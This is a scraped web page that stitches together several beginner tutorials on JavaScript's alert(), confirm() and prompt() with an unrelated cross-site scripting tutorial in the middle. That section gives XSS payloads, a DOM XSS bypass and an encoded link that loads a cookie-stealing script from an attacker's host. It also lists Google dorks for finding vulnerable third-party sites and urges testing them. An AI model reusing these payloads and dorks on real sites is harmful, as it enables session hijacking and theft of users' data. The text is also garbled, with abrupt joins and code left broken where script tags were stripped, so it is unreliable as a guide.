Description of the alert, confirm and prompt methods in JavaScript. Methods alert, prompt, confirm in JavaScript A difficult situation in which alert JavaScript does not seem to work

In this article, we will learn three interesting methods, namely alert(), confirm() and prompt() methods. They are all designed to interact with the user.

All these three methods belong to the window object (Browser Window). And they can be called like this: window.method_name(); But JavaScript allows us not to specify this window object, but to simply write the name of the method.

We'll start with the alert() method. This method displays the specified message in the user's browser window. This window will appear on top of the entire page, and until the user clicks on the OK button, it will not close.

To demonstrate, let's display a message using the alert() method.

Var today_is = "Monday"; alert("Today " + today_is);


Inside the method we can specify any string, just without html tags. They are not processed here, but are displayed as is.

If the line we want to indicate is very long, and we want to create a new line, then here is the html tag
won't work. Here you need to use the "\n" character.

Alert("Loooooooooong \nStringgggggg");


This method is often used to find errors in code.

The code processing process goes from top to bottom, so to catch an error, we simply write the alert() method in the expected area where the error is located. And if alert() worked, then there are no errors up to the line where it is written.

Next, you need to move it one line or more below. We save the changes, refresh the page in the browser again, and see if the alert() worked, then there are no errors up to the line where it is located, otherwise, if it did not work, the error is located in the line above the line where it is currently located . This is how you can find an error in the code.

confirm() method

This method is used to confirm the answer to a question. There are only two answer options, yes (OK) or no (Cancel). If the user answers yes, then the method returns true, otherwise it returns false.

For example, we will display a window using the confirm() method, where we will ask the user “Are you sure you want to leave the page?” If the user answers yes, then through the alert() method we will display the following message “The user wants to leave the page”, otherwise we will display another message “The user does NOT want to leave the page”.

Var user_answer = confirm("Are you sure you want to leave the page?"); if(user_answer) alert("The user wants to leave the page"); else alert("The user does NOT want to \nleave the page");


This is how the confirm() method works. It can be used in different occasions. For example, before removing something from a site, it is customary to ask the user if he is confident in his actions. Or, before sending the form, you can also ask the user “Did you fill out everything correctly?” If he answers yes, then the form will be sent, otherwise it will not be sent.

prompt() method

The last method we'll learn is the prompt() method. This method is used less frequently than the other two methods. It allows you to receive some information from the user, which he will enter into a text field.

As a result, the prompt() method returns either the entered string if the user clicked the OK button, or null if the user clicked the cancel button.

As a parameter, that is, inside the brackets of this method, we can write an indicative line or a question so that the user knows what information needs to be entered.

For example, let's ask the user to answer the question "What is your name?" The name entered by the user will be displayed on the screen using the alert() method.

Var name = prompt("What is your name?"); alert("Your name is " + name);

Save and open the page in the browser.


Of course, you can enter any information into the text field from the prompt() method. This information will be returned as a string, even in the case of numbers or other special characters.

For example, let's ask the user to enter two numbers and then multiply them. There will be some kind of calculator for multiplying numbers.

Var x = prompt("Enter the first number:"); var y = prompt("Enter the second number:"); //Convert the entered numbers from a string type to a numeric type x = Number(x); y = Number(y); document.write(x + " * " + y + " = " + (x * y));

The entered numbers are strings, so for the correct result of the multiplication, these numbers must be passed through the Number() function, which converts them from string type to normal numbers.

Well, that's all. Now you know three more methods: alert(), confirm() and prompt(). Which you can safely use in practice.

There are three basic operations in JavaScript that allow you to receive data from the user for further processing in scripts. These are alert, prompt and confirm. What they are used for, how to use them and other nuances will be discussed later in this article.

alert

Used to display a modal window on the browser screen (this means that the user cannot click anything on the page until he closes this window. In this example, until he clicks “OK” in the window).

After the message contained in the alert is displayed, the execution of the script is suspended and resumed after the modal window is closed.

If the field is filled out and OK is clicked, the information entered by the user will be returned to the script.

The syntax of this command is somewhat more complicated than the previous one, since it allows you to set the text of the message to the user and the contents of the field for entering information, which will be displayed by default: result = prompt(title, default ) ; , Where

  • title – a message that will be displayed to the user in a modal window. The argument is required.
  • default – what will be displayed in the text input field by default. It is also required, because if it is not specified, it may lead to errors in some browsers. If you want to leave the information entry field empty, then simply set the prompt as follows:

    var myTest = prompt("Any info" , """);

A small example of using prompt:

var year = prompt("What year did you graduate from university?", 2008); alert("You are a graduate of " + year + " year!" ) ;

Typically, this command is used to collect data from users that is necessary for the script to continue further work.

confirm

Also represents a modal window. As you might guess from the name, it is usually used to coordinate something with the user.

This is why it is designed for interaction, it provides the user with OK and CANCEL buttons, which return the Boolean values ​​true and false to the script, respectively. Ratings: 4 (average 4 out of 5)

Cross-site scripting (XSS) is a vulnerability that involves injecting client-side code (JavaScript) into a web page that other users are viewing.

The vulnerability is due to insufficient filtering of the data that the user submits for insertion into the web page. It's much easier to understand with a concrete example. Remember any guest book - these are programs that are designed to accept data from the user and then display it. Let's imagine that the guest book does not check or filter the entered data in any way, but simply displays them.

You can sketch out your simplest script (there is nothing easier than writing bad scripts in PHP - many people do this). But there are already plenty of ready-made options. For example, I suggest starting with Dojo and OWASP Mutillidae II. There is a similar example there. In a standalone Dojo environment, go to this link in your browser: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

If one of the users entered:

The web page will then display:

Hello! I like your site.

And if the user enters this:

Hello! I like your site.alert("Pwned")

Then it will be displayed like this:

Browsers store many cookies for a large number of sites. Each site can only receive cookies saved by itself. For example, example.com has stored some cookies in your browser. If you visit another.com, this site (client and server scripts) cannot access the cookies that example.com has stored.

If example.com is vulnerable to XSS, this means that we can somehow inject JavaScript code into it, and that code will be executed on behalf of example.com! Those. This code will, for example, access the cookies of example.com.

I think everyone remembers that JavaScript is executed in user browsers, i.e. in the presence of XSS, the embedded malicious code gains access to the data of the user who opened the website page.

The embedded code can do everything that JavaScript can do, namely:

  • gains access to the cookies of the website you are viewing
  • can make any changes to the appearance of the page
  • accesses the clipboard
  • can implement JavaScript programs, for example, keyloggers (keystroke interceptors)
  • pick up on BeEF
  • and etc.

The simplest example with cookies:

alert(document.cookie)

In fact, alert is only used to detect XSS. The real malicious payload performs hidden actions. It secretly contacts the attacker’s remote server and transfers stolen data to it.

Types of XSS

The most important thing to understand about the types of XSS is that they are:

  • Stored (Permanent)
  • Reflected (Fickle)

Example of constants:

  • A specially crafted message entered by the attacker into the guest book (comment, forum message, profile), which is saved on the server, is downloaded from the server every time users request to display this page.
  • The attacker gained access to the server data, for example, through SQL injection, and introduced malicious JavaScript code (with kilologgers or BeEF) into the data given to the user.

Example of non-permanent ones:

  • There is a search on the site that, along with the search results, shows something like “You searched for: [search string]”, and the data is not filtered properly. Since such a page is displayed only to the person who has a link to it, the attack will not work until the attacker sends the link to other users of the site. Instead of sending a link to the victim, you can use the placement of a malicious script on a neutral site that the victim visits.

They also distinguish (some as a type of non-persistent XSS vulnerabilities, some say that this type can also be a type of persistent XSS):

  • DOM models
Features of DOM-based XSS

To put it very simply, we can see the malicious code of “regular” non-persistent XSS if we open the HTML code. For example, the link is formed like this:

Http://example.com/search.php?q="/>alert(1)

And when we open the source HTML code, we see something like this:

alert(1)" /> Find

And DOM XSS changes the DOM structure, which is formed in the browser on the fly, and we can only see malicious code when viewing the generated DOM structure. The HTML does not change. Let's take this code as an example:

site:::DOM XSS An error occurred... function OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) function get_fragment() ( var r4c = "(.*?)"; var results = location.hash .match(".*input=token(" + r4c + ");"); if (results) ( document.getElementById("default").innerHTML = ""; return (unescape(results)); ) else ( return null; ) ) display_session = OnLoad(); document.write("Your session ID was: " + display_session + "

")

Then in the browser we will see:

Page source code:

Let's form the address like this:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

Now the page looks like this:

But let's take a look at the HTML source code:

Nothing has changed there at all. This is what I was talking about, we need to look at the DOM structure of the document to identify malicious code:

Here is a working XSS prototype, for a real attack we need a more complex payload, which is not possible due to the fact that the application stops reading right after the semicolon, and something like alert(1);alert(2) is no longer possible. However, thanks to unescape() we can use a payload like this in the return data:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

Where we replaced the symbol ; to the URI-encoded equivalent!

We can now write a malicious JavaScript payload and compose a link to send to the victim, as is done for standard non-persistent cross-site scripting.

XSS Auditor

In Google Chrome (and also in Opera, which now uses the Google Chrome engine), this surprise awaited me:

dom_xss.html:30 The XSS Auditor refused to execute a script in "http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);" because its source code was found within the request. The auditor was enabled as the server sent neither an "X-XSS-Protection" nor "Content-Security-Policy" header.

Those. the browser now has an XSS auditor that will try to prevent XSS. Firefox doesn't have this functionality yet, but I think it's a matter of time. If the implementation in browsers is successful, then we can talk about a significant difficulty in using XSS.

It's good to remember that modern browsers are taking steps to limit the level of exploitative problems like non-persistent XSS and DOM-based XSS. This is also something to remember when testing websites using a browser - it may well turn out that the web application is vulnerable, but you do not see the pop-up confirmation only because the browser is blocking it.

XSS exploitation examples

Attackers intending to exploit cross-site scripting vulnerabilities must approach each vulnerability class differently. The attack vectors for each class are described here.

For XSS vulnerabilities, attacks can use BeEF, which extends the attack from the website to the users' local environment.

Example of a non-persistent XSS attack

1. Alice frequently visits a certain website hosted by Bob. Bob's website allows Alice to log in with a username/password and store sensitive data such as payment information. When a user logs in, the browser stores authorization cookies, which look like meaningless characters, i.e. both computers (client and server) remember that she entered.

2. Mallory notes that Bob's website contains a non-persistent XSS vulnerability:

2.1 When you visit the search page, enter the search string and click on the submit button, if no results are found, the page displays the entered search string followed by the words “not found” and the url looks like http://bobssite.org?q= her search query

2.2 With a normal search query like the word "dogs", the page simply displays "no dogs found" and the url http://bobssite.org?q=dogs, which is completely normal behavior.

2.3 However, when an anomalous search query like alert("xss"); :

2.3.1 A warning message appears (which says "xss").

2.3.2 The page displays alert("xss"); not found along with an error message with the text "xss".

2.3.3 url suitable for exploitation http://bobssite.org?q=alert("xss");

3. Mallory constructs a URL to exploit the vulnerability:

3.1 She makes the URL http://bobssite.org?q=puppies. She may choose to convert ASCII characters to a hexadecimal format such as http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E in order to to prevent people from immediately deciphering a malicious URL.

3.2 She emails some unsuspecting members of Bob's site saying, "Check out the cool dogs."

4. Alice receives a letter. She loves dogs and clicks on the link. She goes to Bob’s site in the search, she doesn’t find anything, “no dog found” is displayed there, and in the very middle a tag with a script is launched (it is invisible on the screen), downloads and executes Malory’s authstealer.js program (triggering an XSS attack). Alice forgets about it.

5. The authstealer.js program runs in Alice's browser as if it originated from Bob's website. She grabs a copy of Alice's authorization cookies and sends them to Malory's server, where Malory retrieves them.

7. Now that Malorie is inside, she goes to the payment section of the website, looks and steals a copy of Alice's credit card number. Then she goes and changes the password, i.e. Now Alice can't even come in anymore.

8. She decides to take the next step and sends the link constructed in this way to Bob himself, and thus receives administrative privileges for Bob's site.

Persistent XSS attack

  • Mallory has an account on Bob's website.
  • Mallory notices that Bob's website contains a persistent XSS vulnerability. If you go to a new section and post a comment, it will display whatever is typed into it. But if the comment text contains HTML tags, those tags will be rendered as is, and any script tags will be executed.
  • Mallory reads an article in the News section and writes a comment in the Comments section. In the comment she inserts the text:
  • I really liked the dogs in this story. They are so nice!
  • When Alice (or anyone else) loads a page with this comment, Malory's script tag runs and steals Alice's authorization cookie, sending it to Malory's secret server for collection.
  • Mallory can now hijack Alice's session and impersonate Alice.
  • Finding sites vulnerable to XSS

    Dorks for XSS

    The first step is to select the sites on which we will perform XSS attacks. Sites can be searched using Google dorks. Here are a few of these dorks that you can copy and paste into a Google search:

    • inurl:search.php?q=
    • inurl:.php?q=
    • inurl:search.php
    • inurl:.php?search=

    A list of sites will open in front of us. You need to open the site and find input fields on it, such as a feedback form, input form, site search, etc.

    Let me note right away that it is almost useless to look for vulnerabilities in popular automatically updated web applications. A classic example of such an application is WordPress. In fact, there are vulnerabilities in WordPress, and especially in its plugins. Moreover, there are many sites that do not update either the WordPress engine (due to the fact that the webmaster made some changes to the source code) or their plugins and themes (as a rule, these are pirated plugins and themes). But if you read this section and learn something new from it, then WordPress is not for you yet... We will definitely return to it later.

    The best goals are a variety of self-written engines and scripts.

    You can select the insert payload as

    alert(1)

    Pay attention to which HTML code tags your embedded code falls into. Here is an example of a typical input field:

    alert(1)

    Our payload will end up where the word "pillowcase" is now. Those. turn into the value of the input tag. We can avoid this - we close the double quote, and then the tag itself with "/>

    "/>alert(1)

    Let's try it for some site:

    Great, there is a vulnerability

    Programs for searching and scanning XSS vulnerabilities

    Probably all web application scanners have a built-in XSS vulnerability scanner. This topic is not comprehensive; it is better to get acquainted with each similar scanner separately.

    There are also specialized tools for scanning for XSS vulnerabilities. Among them, one can especially highlight.

    In this lesson, we'll learn about the window object's alert(), prompt(), and confirm() methods.

    alert() method

    The alert() method is designed to display a warning dialog box with the specified message and an "OK" button on the user's screen. It can be used to convey important information to the user.

    window.alert(Parameter_1);

    The alert() method has one required parameter - this is the text of the message that is displayed in the dialog box. This method does not return anything as a result of its execution.

    For example, let’s display a warning dialog box for a site visitor when they click on a link: Go to website

    confirm() Method The confirm() method of the window object is designed to display a dialog box on the user's screen with the specified message and the OK and Cancel buttons. A confirmation window can be used to ask the user for permission to perform a particular action.

    var resultConfirm = confirm(Parameter_1);

    This method has one parameter - this is the text of the message that will be displayed in the dialog box.

    The confirm() method returns one of two values ​​as the result of its execution:

    • true if the user clicked "OK";
    • false if the user clicked Cancel or closed it.

    For example, let's display in the element p with id="resultConfirm" the result of the user clicking the "OK" button in the dialog box:

    var resultActionUser = confirm("User, please click on the OK button."); if (resultActionUser) ( document.getElementById("resultConfirm").innerHTML = "User, thank you for clicking the OK button"; ) else ( document.getElementById("resultConfirm").innerHTML = "User, we are disappointed in your response "; )

    prompt() method

    The prompt() method is designed to display a dialog box on the user's screen with a message, a text field for entering data, and "OK" and "Cancel" buttons. It is designed to prompt the user for data.

    var resultPrompt = prompt(Parameter_1, Parameter_2);

    This method has two parameters:

    • message that will be displayed in the dialog box. This parameter is required and contains a message that “tells” what data the user should enter in the text field;
    • the second parameter is optional and can be used to specify the initial value that will be printed in the dialog box's input field when opened.

    Depending on the user's actions, the prompt() method may return the following data:

    • text value - if the input field contains data and the user clicked "OK";
    • empty line - if the input field does not contain data and the user clicked "OK";
    • null - if the user clicked "Cancel" or closed this window, it does not matter what data was entered into the text field.

    Note: the dialog box that appears as a result of executing one of the alert() , confirm() or prompt() methods is modal, i.e. it blocks the user's access to the parent application (browser) until the user closes the dialog box.

    For example, let's ask the user for a name and, depending on the result, display the text in the element with id="nameUser" :

    var nameUser = prompt ("Enter your name?"); if (nameUser) ( document.getElementById("nameUser").innerHTML = nameUser +", welcome to the site!"; ) else ( document.getElementById("nameUser").innerHTML = "Guest, welcome to the site!" ; )

    For example, let's ask the user to guess the number 8:

    function guessNumber() ( var findNumber = prompt ("Guess a number from 1 to 10?"); switch (findNumber) ( case "6": alert("It's already warmer!"); break; case "7": alert(" It's hot!"); break; case "8": alert("You guessed right! It's the number 8."); break; case "9": alert("It's already warmer!"); break; default: alert("It's cold! "); break; ) ) ... Guess the number

    • window object methods;
    • alert() method: short summary;
    • confirm() method - write letters;
    • prompt() method - let's introduce ourselves, I'm Stirlitz.

    So, browser objects. And first of all - the oldest of them, the window object.

    Here are the main methods of the window object (besides them, there are others, but they are rarely used, and in order not to clutter my brain with unnecessary information, I will postpone them until the third series).

    Method

    Description

    Opening and closing browser windows; It is possible to determine the size of the window, its contents, as well as the presence of a button panel, address field and other attributes.

    An alarm dialog box appears with a corresponding message.

    A confirmation dialog box with “OK” and “Cancel” buttons appears.

    A tooltip dialog box appears with a text input field.

    Set or remove focus for a window.

    Scrolls the contents of a window to a specific point.

    Setting the time interval between a function call and expression evaluation.

    Sets a one-time time interval before a function call or expression evaluation.

    We already know that window is often implied but not written.

    Calling up various dialog windows

    Dialog windows are used in programs to interact with the user.

    alert() method

    We looked at it at the very beginning of our studies. It creates a simple dialog box with a message and an OK button. All its interaction is limited to the fact that the user, by pressing this single button, can send this window somewhere far away (and thank you for that).

    confirm() method

    The confirm() method already allows the user to make a simple “Boolean” decision: say “yes” or “no”.

    For example, click this button:

    Sorry for the little prank. I hope you know how to use the back button.

    How does it all work? You, of course, saw that I combined this method with alerts. And this is done using a function that is inserted into .

    The method returns two values: true (if OK) and false (if cancel).

    When set to true, we send it to the appropriate page (the href property of the location object) and print the corresponding alert() . Otherwise (i.e. false ) we simply print another alert() .

    And in the button we call the function in the onClick event:

    And then you need to call this function from the onSubmit event handler of the tag, for example:

    Here, for example, you can email me everything you think about my lessons. If you suddenly got excited and pressed a button, and then it somehow became awkward, a dialogue window will pop up and sober you up.

    If you make pop-up windows, then it is good practice to warn the user about this and give him a choice - to open the window or not to open it. To do this, before loading the window, you need to release the “parliamenter” - the confirm() dialog. Here the function is called from . We'll talk about this very soon when we move on to creating windows using the open() method.

    prompt() method

    This method already requests specific data from the user. A dialog box with an input field appears. The method returns the data that the user entered into this field and allows the program to work with this data.

    The prompt() method has two arguments: a question (which appears above the input field) and an answer (the text in the input field):

    If you want the input field to appear blank, put empty quotes as the second argument:

    prompt(" question text","")

    Let's see this in action. Press the button, don't be afraid.

    So, you entered (or did not enter) data and received a response from the computer based on this data (or lack thereof).

    Here's a simple version of this function:

    The innerHTML property, which allows us to control the contents of a tag, was encountered in lesson 10, when we programmed names under pictures.

    And here is the code for the button and an empty paragraph for greeting.


    But if you happen to be my namesake, you saw that the function responded to this too.

    How to do this in a “rough” version, you can already guess for yourself. You need to check the user_name variable not only for empty quotes, but also for " Andrey", and insert another if with the appropriate text (you can practice it yourself).

    But if you type " Andrey", "Andryusha", "Andryushka", "Andryukha", "Andreyka", "Andrey Ivanovich" etc., then the result will be similar, although I did not explicitly go through all these values, but got by with only five lines: " Andre", "Andrew", "Andrey", "Andrejce" And " Andreich"(the last three - to exclude Andreyev, Andreichenko and Andreychuk from their namesakes, while retaining Andreychik as their namesakes).

    That is, you can guess that the function checks the user_name variable for the first 5, 6 or 8 characters.

    But we will talk about this a little later, when we move on to string objects and their methods. I just want you to imagine in advance the problems that we have to solve (in particular, all kinds of splitting strings into substrings). Then the decisions themselves will seem clearer. But if you can’t wait, you can “copy” the function from the code and “cut it like a nut.” For those curious, I wrote a comment there.

    The prompt() method can also be used to enter a password.

    This is not the end of the lesson!

    Let's “play spy” a little so we can read this chapter to the end. First try pressing the button and typing something.

    Ah, that's it! But look, there’s another button! Come on...

    Password:

    Press the first button again and enter the correct password.

    All this fun, perhaps, has an effect, but in fact you can find out the password by pressing the right button and looking at it in the code. Some may naively think that it is enough to put the code in a separate .js file. But in the page code there will be a link to this file indicating the address. And if you type it in the address bar, a file with JavaScript code will open :)

    Is it possible to encrypt a password in code? It is possible, but this again requires string manipulation along with the use of some mathematical methods. When we get to all this, we will also study the script for the “real” password. But the technique for interacting with the user will still be the same: the prompt() method. (Is it possible to “crack” an encrypted password? Alas, there are no limits to the perfection of hackers...)

    In the same way that we “caught” the name or its absence, we will also catch the password with the function.

    If you enter the wrong password or enter nothing, the line

    document.getElementById("no").style.display = "block"

    will open a block with a second button

    And if the correct password is entered, the action is transferred to the line

    document.getElementById("yes").style.display = "block" ,

    which opens the next block

    Wait, what kind of gnarly bison are these? This is a simple encryption code, I’ll explain it soon.

    In the meantime, I give the code for these blocks (for clarity, I omit the table with frames, which I have enclosed in the last block):



    Ah, that's it! But look, there’s another button! Come on...





    Password:

    document.write(unescape( "%u043C%u043E%u044F%20%u043F%u0440%u0435%u043A%
    u0440%u0430%u0441%u043D%u0430%u044F%20%u043B%u0435%u0434%u0438"
    ))


    Press the first button again and enter the correct password.




    Now read on.


    . . . . .
    . . . . .

    So, about encryption. She's pretty miserable. Anyone who knows the escape() and unescape() functions can hack it immediately.

    The function escape("enter string here") converts characters to their hexadecimal values.

    The function unescape("enter crackling bison here") does the opposite.

    To encrypt a password in this way, you need to run it through escape() at home, copy the result and paste it into unescape() . But this, I repeat, is not serious.

    Well, for the complete set - a function for the second button:

    To display standard dialog boxes, JavaScript only has three methods that we learned today. Although these methods are not used very often, the ability to confidently use them is extremely useful. They are simple, but at the same time they belong, so to speak, to “pure” programming. They are very good for learning a programming language. And I advise you to experiment with them in every possible way, even if aimlessly from a pragmatic point of view. Good programming is a fun game, just like any creativity.

    Share with friends or save for yourself:

    Loading...